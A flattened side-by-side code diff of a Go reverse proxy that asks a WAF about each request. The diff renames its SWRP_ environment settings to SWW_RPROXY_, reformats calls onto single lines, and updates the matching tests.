req.RemoteAddr = tc.remoteAddr req.RemoteAddr = tc.remoteAddr
req.Header.Set(forwardedForHeader, tc.forwardedFor) req.Header.Set(forwardedForHeader, tc.forwardedFor)
+50 -87
View File
@@ -34,14 +34,14 @@ const plainText = "text/plain; charset=utf-8"
// minSendTime is the least time to send an answer rproxy gives itself, or the // minSendTime is the least time to send an answer rproxy gives itself, or the
// status and headers of the app's answer. A shorter time can run out before the // status and headers of the app's answer. A shorter time can run out before the
// first byte is written, on a busy host or as SWRP_MAX_RESPONSE_TIME_MS runs out, // first byte is written, on a busy host or as SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out,
// and the visitor then gets a closed connection and no answer. // and the visitor then gets a closed connection and no answer.
const minSendTime = 10 * time.Second const minSendTime = 10 * time.Second
// errResponseTooLate refuses an app's answer that arrives once // errResponseTooLate refuses an app's answer that arrives once
// SWRP_MAX_RESPONSE_TIME_MS has run out. // SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
var errResponseTooLate = errors.New( var errResponseTooLate = errors.New(
"the answer arrived after SWRP_MAX_RESPONSE_TIME_MS ran out") "the answer arrived after SWW_RPROXY_MAX_RESPONSE_TIME_MS ran out")
// request is one request on its way through rproxy, from the moment its headers // request is one request on its way through rproxy, from the moment its headers
// have been read to its log line and report. // have been read to its log line and report.
@@ -61,10 +61,10 @@ type request struct {
start time.Time start time.Time
// disposition is what is done with the request: waf's valid disposition, // disposition is what is done with the request: waf's valid disposition,
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one. // or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
disposition string disposition string
// answered is true when waf gave disposition, which makes a report due, // answered is true when waf gave disposition, which makes a report due,
// and byDefault when SWRP_DEFAULT_DISPOSITION did. // and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
answered bool answered bool
byDefault bool byDefault bool
// asn and country are waf's X-Client-ASN and X-Client-Country, for the // asn and country are waf's X-Client-ASN and X-Client-Country, for the
@@ -96,34 +96,24 @@ type request struct {
// newRequest starts handling r: it notes the time, works out the visitor from // newRequest starts handling r: it notes the time, works out the visitor from
// the TCP peer and X-Forwarded-For, and makes the request's id. // the TCP peer and X-Forwarded-For, and makes the request's id.
func (h *handler) newRequest( func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
w http.ResponseWriter,
r *http.Request,
) *request {
peer := peerAddress(r) peer := peerAddress(r)
trusted := h.config.TrustedProxies trusted := h.config.TrustedProxies
rq := &request{ rq := &request{
h: h, h: h,
in: r, in: r,
rc: http.NewResponseController(w), rc: http.NewResponseController(w),
out: &responseWriter{ResponseWriter: w}, out: &responseWriter{ResponseWriter: w},
id: rand.Text(), id: rand.Text(),
client: clientAddress( client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
peer,
r.Header.Values("X-Forwarded-For"),
trusted,
),
peer: peer, peer: peer,
peerTrusted: isInside(peer, trusted), peerTrusted: isInside(peer, trusted),
start: time.Now(), start: time.Now(),
} }
if r.Body != http.NoBody { if r.Body != http.NoBody {
rq.body = &requestBody{ rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
body: limitBody(r.Body, h.config.MaxRequestSize),
rq: rq,
}
} }
return rq return rq
@@ -137,10 +127,10 @@ func (rq *request) answerHealth() {
} }
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory, // readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
// within SWRP_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A // within SWW_RPROXY_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
// visitor too slow to send it is answered 408. For a malformed chunk, or a // visitor too slow to send it is answered 408. For a malformed chunk, or a
// visitor that went away or stopped its sending side, the connection is closed // visitor that went away or stopped its sending side, the connection is closed
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part // without an answer. A body over SWW_RPROXY_MAX_REQUEST_SIZE goes on with the part
// read, so that waf is asked first; passToApp then refuses it. // read, so that waf is asked first; passToApp then refuses it.
func (rq *request) readFirstPartOfBody() bool { func (rq *request) readFirstPartOfBody() bool {
if rq.body == nil { if rq.body == nil {
@@ -148,9 +138,7 @@ func (rq *request) readFirstPartOfBody() bool {
} }
_ = rq.rc.SetReadDeadline(rq.requestDeadline()) _ = rq.rc.SetReadDeadline(rq.requestDeadline())
held, err := io.ReadAll( held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
)
// From here on, the request timer ends a read of the rest of the body, so that // From here on, the request timer ends a read of the rest of the body, so that
// the answer can name the side rproxy was waiting on. // the answer can name the side rproxy was waiting on.
_ = rq.rc.SetReadDeadline(time.Time{}) _ = rq.rc.SetReadDeadline(time.Time{})
@@ -210,7 +198,7 @@ func (rq *request) forward(ctx context.Context) {
} }
// rewrite makes the request the app receives: the visitor's request, unchanged, // rewrite makes the request the app receives: the visitor's request, unchanged,
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set, // sent to SWW_RPROXY_UPSTREAM_URL, with the forwarded headers and the request's id set,
// without any X-Client-ASN or X-Client-Country the visitor sent, and with // without any X-Client-ASN or X-Client-Country the visitor sent, and with
// waf's. // waf's.
func (rq *request) rewrite(pr *httputil.ProxyRequest) { func (rq *request) rewrite(pr *httputil.ProxyRequest) {
@@ -259,7 +247,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
requestEnd := rq.endRequest() requestEnd := rq.endRequest()
// An answer that arrives once SWRP_MAX_RESPONSE_TIME_MS has run out is not // An answer that arrives once SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out is not
// passed on: the visitor is answered 504. // passed on: the visitor is answered 504.
limit := rq.h.config.MaxResponseTime limit := rq.h.config.MaxResponseTime
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) { if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
@@ -269,8 +257,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
} }
maxBytes := rq.h.config.MaxResponseSize maxBytes := rq.h.config.MaxResponseSize
if maxBytes > 0 && res.Body != http.NoBody && if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
res.ContentLength > maxBytes {
rq.refuse(http.StatusBadGateway) rq.refuse(http.StatusBadGateway)
return errResponseTooLarge return errResponseTooLarge
@@ -286,7 +273,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
rq.closeAfterAnswer() rq.closeAfterAnswer()
// An answer that arrives before the app has been sent the whole request ends // An answer that arrives before the app has been sent the whole request ends
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts. // the request, and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
rq.startResponseTimer(requestEnd) rq.startResponseTimer(requestEnd)
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq} res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
@@ -297,11 +284,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to // answerError is ReverseProxy's ErrorHandler: the request could not be passed to
// the app, or the app's answer cannot be passed on. // the app, or the app's answer cannot be passed on.
func (rq *request) answerError( func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
_ http.ResponseWriter,
_ *http.Request,
err error,
) {
if rq.upgraded != nil { if rq.upgraded != nil {
// The app switched protocols, but the switch was not passed on, and // The app switched protocols, but the switch was not passed on, and
// ReverseProxy leaves the app's connection open when it refuses it. // ReverseProxy leaves the app's connection open when it refuses it.
@@ -317,11 +300,7 @@ func (rq *request) answerError(
panic(http.ErrAbortHandler) panic(http.ErrAbortHandler)
} }
rq.h.processLog.Warn( rq.h.processLog.Warn("request to the app failed", "error", err.Error())
"request to the app failed",
"error",
err.Error(),
)
status = http.StatusBadGateway status = http.StatusBadGateway
} }
@@ -382,7 +361,7 @@ func (rq *request) closeAfterAnswer() {
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the // prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
// reading of a body that has not arrived whole ends at deadline, and the answer // reading of a body that has not arrived whole ends at deadline, and the answer
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app // has SWW_RPROXY_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
// used that time up first, and at least minSendTime. // used that time up first, and at least minSendTime.
func (rq *request) prepareOwnAnswer(deadline time.Time) { func (rq *request) prepareOwnAnswer(deadline time.Time) {
rq.stopReadingBody(deadline) rq.stopReadingBody(deadline)
@@ -432,33 +411,24 @@ func (rq *request) finish(ctx context.Context) {
end := time.Now() end := time.Now()
requestBytes, responseBytes := rq.bytesEachWay() requestBytes, responseBytes := rq.bytesEachWay()
err := requestlog.WriteRProxyLine( err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
rq.h.requestLog, Time: requestlog.FormatTime(rq.start),
&requestlog.RProxyLine{ RequestID: rq.id,
Time: requestlog.FormatTime(rq.start), ClientIP: rq.client.String(),
RequestID: rq.id, Host: rq.in.Host,
ClientIP: rq.client.String(), Method: rq.in.Method,
Host: rq.in.Host, Path: rules.Path(rq.in),
Method: rq.in.Method, Query: rq.in.URL.RawQuery,
Path: rules.Path(rq.in), Status: rq.out.status,
Query: rq.in.URL.RawQuery, RequestBytes: requestBytes,
Status: rq.out.status, ResponseBytes: responseBytes,
RequestBytes: requestBytes, DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
ResponseBytes: responseBytes, DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
DurationRequestMS: requestlog.Milliseconds( Disposition: rq.disposition,
requestEnd.Sub(rq.start), DefaultDisposition: rq.byDefault,
), })
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
DefaultDisposition: rq.byDefault,
},
)
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("writing the request log failed", "error", err.Error())
"writing the request log failed",
"error",
err.Error(),
)
} }
if !rq.answered { if !rq.answered {
@@ -473,9 +443,7 @@ func (rq *request) finish(ctx context.Context) {
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)), DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
} }
if !rq.upstreamStart.IsZero() { if !rq.upstreamStart.IsZero() {
report.DurationUpstreamTotalMS = requestlog.Milliseconds( report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
end.Sub(rq.upstreamStart),
)
} }
rq.h.sendReport(ctx, report) rq.h.sendReport(ctx, report)
@@ -502,7 +470,7 @@ func (rq *request) bytesEachWay() (int64, int64) {
} }
// requestDeadline is when the visitor must have sent its whole request, or zero // requestDeadline is when the visitor must have sent its whole request, or zero
// when SWRP_MAX_REQUEST_TIME_MS is off. // when SWW_RPROXY_MAX_REQUEST_TIME_MS is off.
func (rq *request) requestDeadline() time.Time { func (rq *request) requestDeadline() time.Time {
limit := rq.h.config.MaxRequestTime limit := rq.h.config.MaxRequestTime
if limit == 0 { if limit == 0 {
@@ -543,7 +511,7 @@ func (rq *request) stopPassingOnBody(deadline time.Time) {
rq.stopReadingBody(deadline) rq.stopReadingBody(deadline)
} }
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the // startRequestTimer starts SWW_RPROXY_MAX_REQUEST_TIME_MS, which runs from the
// request's headers being read until the app has been sent the whole request. // request's headers being read until the app has been sent the whole request.
func (rq *request) startRequestTimer() { func (rq *request) startRequestTimer() {
deadline := rq.requestDeadline() deadline := rq.requestDeadline()
@@ -554,13 +522,10 @@ func (rq *request) startRequestTimer() {
rq.mu.Lock() rq.mu.Lock()
defer rq.mu.Unlock() defer rq.mu.Unlock()
rq.requestTimer = time.AfterFunc( rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
time.Until(deadline),
rq.requestTimedOut,
)
} }
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the // requestTimedOut is called when SWW_RPROXY_MAX_REQUEST_TIME_MS runs out while the
// request is still on its way to the app. The answer names the side rproxy was // request is still on its way to the app. The answer names the side rproxy was
// waiting on at that moment: 408 when it was waiting for the visitor to send more // waiting on at that moment: 408 when it was waiting for the visitor to send more
// of its body, 504 when it was waiting for the app to be reached or to take what // of its body, 504 when it was waiting for the app to be reached or to take what
@@ -587,7 +552,7 @@ func (rq *request) requestTimedOut() {
} }
// wroteRequest is called once the app has been sent the whole request: // wroteRequest is called once the app has been sent the whole request:
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts. // SWW_RPROXY_MAX_REQUEST_TIME_MS ends and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) { func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
if info.Err != nil { if info.Err != nil {
return // the transport gives up, or tries again return // the transport gives up, or tries again
@@ -602,7 +567,7 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
rq.startResponseTimer(requestEnd) rq.startResponseTimer(requestEnd)
} }
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from // startResponseTimer starts SWW_RPROXY_MAX_RESPONSE_TIME_MS, which runs from
// requestEnd, unless it has started already. // requestEnd, unless it has started already.
func (rq *request) startResponseTimer(requestEnd time.Time) { func (rq *request) startResponseTimer(requestEnd time.Time) {
limit := rq.h.config.MaxResponseTime limit := rq.h.config.MaxResponseTime
@@ -621,7 +586,7 @@ func (rq *request) startResponseTimer(requestEnd time.Time) {
rq.responseTimedOut) rq.responseTimedOut)
} }
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the // responseTimedOut is called when SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out before the
// app has sent its whole answer. // app has sent its whole answer.
func (rq *request) responseTimedOut() { func (rq *request) responseTimedOut() {
rq.mu.Lock() rq.mu.Lock()
@@ -639,7 +604,7 @@ func (rq *request) responseReceived() {
// setResponseDeadline sends the status and headers of the app's answer, with // setResponseDeadline sends the status and headers of the app's answer, with
// at least minSendTime, before ReverseProxy reads the answer's body, and then // at least minSendTime, before ReverseProxy reads the answer's body, and then
// the rest has until SWRP_MAX_RESPONSE_TIME_MS after the end of the request. // the rest has until SWW_RPROXY_MAX_RESPONSE_TIME_MS after the end of the request.
func (rq *request) setResponseDeadline() { func (rq *request) setResponseDeadline() {
limit := rq.h.config.MaxResponseTime limit := rq.h.config.MaxResponseTime
if limit == 0 { if limit == 0 {
@@ -648,9 +613,7 @@ func (rq *request) setResponseDeadline() {
deadline := rq.endRequest().Add(limit) deadline := rq.endRequest().Add(limit)
_ = rq.rc.SetWriteDeadline( _ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
time.Now().Add(max(time.Until(deadline), minSendTime)),
)
_ = rq.rc.Flush() _ = rq.rc.Flush()
_ = rq.rc.SetWriteDeadline(deadline) _ = rq.rc.SetWriteDeadline(deadline)
} }
+8 -11
View File
@@ -1,11 +1,11 @@
// Package rproxy is the reverse proxy in front of one app that asks waf // Package rproxy is the reverse proxy in front of one app that asks waf
// about each request. It passes a request waf allows to the app and the // about each request. It passes a request waf allows to the app and the
// app's answer back, within the size and time limits. Any other answer from // app's answer back, within the size and time limits. Any other answer from
// waf goes to the visitor as waf gave it. SWRP_DEFAULT_DISPOSITION // waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
// decides only when waf cannot be connected to, does not answer at all, or // decides only when waf cannot be connected to, does not answer at all, or
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a // does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
// method it does not pass on, or one it cannot put to waf as the visitor // method it does not pass on, or one it cannot put to waf as the visitor
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in // sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
// SPEC.md says what it does. // SPEC.md says what it does.
package rproxy package rproxy
@@ -73,15 +73,12 @@ type Server struct {
// New returns the server `sww rproxy` runs. Go's server itself refuses // New returns the server `sww rproxy` runs. Go's server itself refuses
// a request line and headers over requestHeaderMaxBytes, with 431, closes a // a request line and headers over requestHeaderMaxBytes, with 431, closes a
// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while // connection idle for idleTimeout, and applies SWW_RPROXY_MAX_REQUEST_TIME_MS while
// the headers arrive. The handler applies the time and size limits from then // the headers arrive. The handler applies the time and size limits from then
// on. // on.
func New(params Params) *Server { func New(params Params) *Server {
backend := params.Config.WAFBackend backend := params.Config.WAFBackend
errorLog := slog.NewLogLogger( errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
params.ProcessLog.Handler(),
slog.LevelWarn,
)
h := &handler{ h := &handler{
config: params.Config, config: params.Config,
requestLog: params.RequestLog, requestLog: params.RequestLog,
@@ -108,7 +105,7 @@ func New(params Params) *Server {
} }
// WaitForReports returns once the reports being sent have gone or failed, // WaitForReports returns once the reports being sent have gone or failed,
// which SWRP_TIMEOUT_MS bounds. Any report after this call is dropped: that of // which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
// a WebSocket that closes while rproxy stops, for one. // a WebSocket that closes while rproxy stops, for one.
func (s *Server) WaitForReports() { func (s *Server) WaitForReports() {
s.h.reportsMu.Lock() s.h.reportsMu.Lock()
@@ -217,8 +214,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// passToApp passes the request on to the app, unless a limit or its path keeps // passToApp passes the request on to the app, unless a limit or its path keeps
// it from the app. waf answers a path under ownEndpointPrefix itself, so // it from the app. waf answers a path under ownEndpointPrefix itself, so
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the // such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
// request's own context. // ctx is the request's own context.
func (rq *request) passToApp(ctx context.Context) { func (rq *request) passToApp(ctx context.Context) {
maxBytes := rq.h.config.MaxRequestSize maxBytes := rq.h.config.MaxRequestSize
+82 -228
View File
@@ -19,6 +19,7 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy" "sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/waf" "sneak.berlin/go/smallwebwaf/internal/waf"
@@ -43,13 +44,13 @@ const (
// The settings the tests set. // The settings the tests set.
const ( const (
timeoutSetting = "SWRP_TIMEOUT_MS" timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
defaultDisposition = "SWRP_DEFAULT_DISPOSITION" defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
trustedProxies = "SWRP_TRUSTED_PROXIES" trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWRP_MAX_REQUEST_SIZE" maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWRP_MAX_RESPONSE_SIZE" maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWRP_MAX_REQUEST_TIME_MS" maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWRP_MAX_RESPONSE_TIME_MS" maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
) )
// The headers the tests set and look at. // The headers the tests set and look at.
@@ -354,17 +355,11 @@ func startServerLogging(
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
"SWRP_WAF_BACKEND": backend, "SWRP_UPSTREAM_URL": appURL, "SWW_RPROXY_WAF_BACKEND": backend, "SWW_RPROXY_UPSTREAM_URL": appURL,
} }
maps.Copy(settings, env) maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment( cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings))
func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
},
)
if err != nil { if err != nil {
t.Fatalf("settings %v: %v", settings, err) t.Fatalf("settings %v: %v", settings, err)
} }
@@ -372,18 +367,10 @@ func startServerLogging(
server := rproxy.New(rproxy.Params{ server := rproxy.New(rproxy.Params{
Config: cfg, Config: cfg,
RequestLog: requestLog, RequestLog: requestLog,
ProcessLog: requestlog.NewProcessLogger( ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo),
processLog,
"test",
slog.LevelInfo,
),
}) })
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -413,10 +400,7 @@ type answered struct {
func visit(t *testing.T, req *http.Request) answered { func visit(t *testing.T, req *http.Request) answered {
t.Helper() t.Helper()
transport := &http.Transport{ transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true}
DisableKeepAlives: true,
DisableCompression: true,
}
defer transport.CloseIdleConnections() defer transport.CloseIdleConnections()
res, err := transport.RoundTrip(req) res, err := transport.RoundTrip(req)
@@ -442,12 +426,8 @@ func newRequest(
) *http.Request { ) *http.Request {
t.Helper() t.Helper()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target,
t.Context(), body)
method,
"http://"+addr+target,
body,
)
if err != nil { if err != nil {
t.Fatalf("new request: %v", err) t.Fatalf("new request: %v", err)
} }
@@ -467,11 +447,7 @@ func wantGreeting(t *testing.T, got answered) {
t.Helper() t.Helper()
if got.status != http.StatusOK || got.body != greeting { if got.status != http.StatusOK || got.body != greeting {
t.Errorf( t.Errorf("answered %d %q, want the app's greeting", got.status, got.body)
"answered %d %q, want the app's greeting",
got.status,
got.body,
)
} }
} }
@@ -568,12 +544,7 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
requestIDHeader: asked.header.Get(requestIDHeader), requestIDHeader: asked.header.Get(requestIDHeader),
} { } {
if received.Header.Get(name) != want { if received.Header.Get(name) != want {
t.Errorf( t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want)
"the app saw %s %q, want %q",
name,
received.Header.Get(name),
want,
)
} }
} }
} }
@@ -686,12 +657,7 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
}) })
_, _, server := startServer(t, standIn.URL, app.URL, nil) _, _, server := startServer(t, standIn.URL, app.URL, nil)
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
w := httptest.NewRecorder() w := httptest.NewRecorder()
server.Handler.ServeHTTP(w, req) server.Handler.ServeHTTP(w, req)
@@ -701,11 +667,8 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
// stops it: the key with no value. // stops it: the key with no value.
values, there := w.Header()["Content-Type"] values, there := w.Header()["Content-Type"]
if !there || len(values) != 0 { if !there || len(values) != 0 {
t.Errorf( t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value",
"the answer's Content-Type is %q, there: %v, want the key with no value", values, there)
values,
there,
)
} }
} }
@@ -740,12 +703,8 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
wantGreeting(t, visit(t, req)) wantGreeting(t, visit(t, req))
header := <-seen header := <-seen
if len(header.Values(asnHeader)) != 0 || if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 {
len(header.Values(countryHeader)) != 0 { t.Errorf("the app saw the visitor's lookup headers: %v", header)
t.Errorf(
"the app saw the visitor's lookup headers: %v",
header,
)
} }
}) })
} }
@@ -778,8 +737,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
} }
line := out.requestLine(t) line := out.requestLine(t)
if line["disposition"] != dispositionDeny || if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
line["default_disposition"] != nil {
t.Errorf("line %v, want waf's deny", line) t.Errorf("line %v, want waf's deny", line)
} }
} }
@@ -793,11 +751,7 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody)) got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusForbidden || if got.status != http.StatusForbidden ||
got.header.Get( got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
contentLengthHeader,
) != strconv.Itoa(
len(deniedBody),
) {
t.Errorf("answered %+v, want waf's 403 and its length", got) t.Errorf("answered %+v, want waf's 403 and its length", got)
} }
} }
@@ -821,14 +775,7 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
log := heldLog{release: make(chan struct{})} log := heldLog{release: make(chan struct{})}
standIn := startWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startServerLogging( addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
t,
standIn.URL,
app.URL,
nil,
log,
io.Discard,
)
t.Cleanup(func() { close(log.release) }) t.Cleanup(func() { close(log.release) })
@@ -845,16 +792,9 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
}() }()
body, err := io.ReadAll(res.Body) body, err := io.ReadAll(res.Body)
if err != nil || res.StatusCode != tc.status || if err != nil || res.StatusCode != tc.status || string(body) != tc.body {
string(body) != tc.body { t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err,
t.Errorf( tc.status, tc.body)
"answered %d %q (%v), want %d %q",
res.StatusCode,
body,
err,
tc.status,
tc.body,
)
} }
}) })
} }
@@ -900,11 +840,8 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 { if err != nil || len(text) != 0 {
t.Errorf( t.Errorf("read %q (%v), want the connection closed without an answer",
"read %q (%v), want the connection closed without an answer", text, err)
text,
err,
)
} }
report := standIn.report(t) report := standIn.report(t)
@@ -918,9 +855,7 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
} }
} }
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime( func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
backend := startWAFAnsweringReports(t, backend := startWAFAnsweringReports(t,
@@ -943,10 +878,7 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
duration, ok := line["duration_response_ms"].(float64) duration, ok := line["duration_response_ms"].(float64)
if !ok || duration < 0 { if !ok || duration < 0 {
t.Errorf( t.Errorf("line %v, want a duration_response_ms that is not negative", line)
"line %v, want a duration_response_ms that is not negative",
line,
)
} }
} }
} }
@@ -965,16 +897,12 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
func noAnswers() map[string]func(t *testing.T) string { func noAnswers() map[string]func(t *testing.T) string {
return map[string]func(t *testing.T) string{ return map[string]func(t *testing.T) string{
"no connection": func(*testing.T) string { return nowhere }, "no connection": func(*testing.T) string { return nowhere },
"no answer at all": answeringWith( "no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) {
func(http.ResponseWriter, *http.Request) { panic(http.ErrAbortHandler)
panic(http.ErrAbortHandler) }),
}, "a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) {
), <-r.Context().Done()
"a slow start": answeringWith( }),
func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
},
),
"headers followed by a stalled body": answeringWith( "headers followed by a stalled body": answeringWith(
func(w http.ResponseWriter, r *http.Request) { func(w http.ResponseWriter, r *http.Request) {
w.Header().Set(dispositionHeader, dispositionDeny) w.Header().Set(dispositionHeader, dispositionDeny)
@@ -1016,29 +944,21 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
t.Run(tc.name+" with the default "+setting, func(t *testing.T) { t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startWAF( standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
t, if tc.disposition != "" {
func(w http.ResponseWriter, _ *http.Request) { w.Header().Set(dispositionHeader, tc.disposition)
if tc.disposition != "" { }
w.Header().Set(dispositionHeader, tc.disposition)
}
w.Header().Set(fromWAFHeader, addedHeaderValue) w.Header().Set(fromWAFHeader, addedHeaderValue)
w.WriteHeader(tc.status) w.WriteHeader(tc.status)
_, _ = io.WriteString(w, tc.body) _, _ = io.WriteString(w, tc.body)
}, })
)
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, defaultDisposition: setting,
standIn.URL, })
app.URL,
map[string]string{
defaultDisposition: setting,
},
)
got := get(t, addr, "/") got := get(t, addr, "/")
if got.status != tc.status || got.body != tc.body || if got.status != tc.status || got.body != tc.body ||
@@ -1051,13 +971,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
} }
line := out.requestLine(t) line := out.requestLine(t)
